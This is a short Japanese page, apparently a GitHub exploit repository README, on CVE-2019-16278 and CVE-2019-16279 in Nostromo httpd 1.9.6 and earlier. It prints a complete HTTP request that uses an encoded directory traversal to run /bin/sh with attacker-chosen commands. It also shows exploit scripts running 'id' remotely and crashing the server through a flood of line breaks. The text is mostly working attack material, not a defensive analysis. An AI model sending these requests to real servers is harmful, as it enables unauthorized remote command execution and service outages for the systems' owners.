jas502n/cve-2019-16278ディレクトリトラバーサルによるリモートコード実行
Nostromo httpd はバージョン 1.9.6 以下において 2 つの重大な脆弱性 (0day =]) の影響を受けます。1 つ目はディレクトリトラバーサルによるリモートコード実行 (RCE)、2 つ目はサービス拒否 (DoS) です。
POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Length: 25
echo
echo
ifconfig 2>&1
このバグは CVE-2011-0751 に対する不完全な修正に起因します。/../ のチェックをバイパスできるため、任意の引数で /bin/sh を実行できます。
例
$ ./CVE-2019-16278.sh 127.0.0.1 8080 id
uid=1001(sp0re) gid=1001(sp0re) groups=1001(sp0re)
このバグは、1 回の接続で過剰な数の \r\n を送信した際にメモリエラーを引き起こすものです。
例
$ curl http://127.0.0.1:8080
HELLO!
$ ./CVE-2019-16279.sh 127.0.0.1 8080
$ curl http://127.0.0.1:8080
curl: (7) Failed to connect to 127.0.0.1 port 8080: Connection refused